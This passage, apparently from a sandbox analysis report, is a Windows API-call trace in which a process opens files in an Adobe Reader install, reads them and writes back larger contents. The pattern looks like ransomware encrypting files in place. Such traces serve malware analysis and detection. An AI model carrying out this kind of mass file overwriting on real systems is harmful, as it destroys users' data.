lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0041.690] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.690] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.690] ReleaseMutex (hMutex=0x128) returned 1 [0041.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.FRA", lpUsedDefaultChar=0x0) returned 16 [0041.690] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.098] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.098] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.098] CloseHandle (hObject=0x184) returned 1 [0042.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Flash.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\flash.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.099] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.099] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0042.099] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.099] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.099] ReleaseMutex (hMutex=0x128) returned 1 [0042.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CZE", lpUsedDefaultChar=0x0) returned 9 [0042.099] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.101] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.101] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.101] CloseHandle (hObject=0x184) returned 1 [0042.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\QuickTime.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\quicktime.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.102] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.102] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0042.102] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.102] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.102] ReleaseMutex (hMutex=0x128) returned 1 [0042.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HUN", lpUsedDefaultChar=0x0) returned 13 [0042.102] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.103] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.103] WriteFile (in: hFile=0x184, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.104] CloseHandle (hObject=0x184) returned 1 [0042.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.104] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.104] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0042.104] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.104] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.104] ReleaseMutex (hMutex=0x128) returned 1 [0042.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUS", lpUsedDefaultChar=0x0) returned 9 [0042.105] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.106] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.106] WriteFile (in: hFile=0x184, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.106] CloseHandle (hObject=0x184) returned 1 [0042.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\QuickTime.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\quicktime.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.106] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.106] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0042.107] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.107] ReleaseMutex (hMutex=0x128) returned 1 [0042.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SLV", lpUsedDefaultChar=0x0) returned 13 [0042.107] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.108] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.108] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.109] CloseHandle (hObject=0x184) returned 1 [0042.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.109] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.109] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x174c63 [0042.109] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.109] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.109] ReleaseMutex (hMutex=0x128) returned 1 [0042.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.api", cchWideChar=14, lpMultiByteStr=0x1e631cc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.api", lpUsedDefaultChar=0x0) returned 14 [0042.109] ReadFile (in: hFile=0x184, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.111] ReadFile (in: hFile=0x184, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0042.112] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x173c63 [0042.112] ReadFile (in: hFile=0x184, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0042.114] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x173c63 [0042.114] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.114] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0042.115] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.115] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.115] CloseHandle (hObject=0x184) returned 1 [0042.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.115] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.116] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4ac63 [0042.116] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.116] ReleaseMutex (hMutex=0x128) returned 1 [0042.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weblink.api", lpUsedDefaultChar=0x0) returned 11 [0042.116] ReadFile (in: hFile=0x184, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0042.118] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x49c63 [0042.118] ReadFile (in: hFile=0x184, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0042.143] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x49c63 [0042.143] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.144] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0042.144] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.144] CloseHandle (hObject=0x184) returned 1 [0042.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x8b98 [0042.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.145] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.145] ReleaseMutex (hMutex=0x128) returned 1 [0042.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0042.145] ReadFile (in: hFile=0x184, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0042.148] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7b98 [0042.148] ReadFile (in: hFile=0x184, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0042.151] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7b98 [0042.152] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.152] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0042.152] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.152] CloseHandle (hObject=0x184) returned 1 [0042.153] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.153] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.153] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x5a3 [0042.153] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.153] ReleaseMutex (hMutex=0x128) returned 1 [0042.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_all.gif", lpUsedDefaultChar=0x0) returned 13 [0042.153] ReadFile (in: hFile=0x184, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x5a3, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x32cf2bc*=0x5a3, lpOverlapped=0x0) returned 1 [0042.156] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.157] WriteFile (in: hFile=0x184, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0xb2b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x32cf2d0*=0xb2b, lpOverlapped=0x0) returned 1 [0042.157] CloseHandle (hObject=0x184) returned 1 [0042.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.157] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.157] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x326 [0042.157] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.157] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.158] ReleaseMutex (hMutex=0x128) returned 1 [0042.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0042.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", 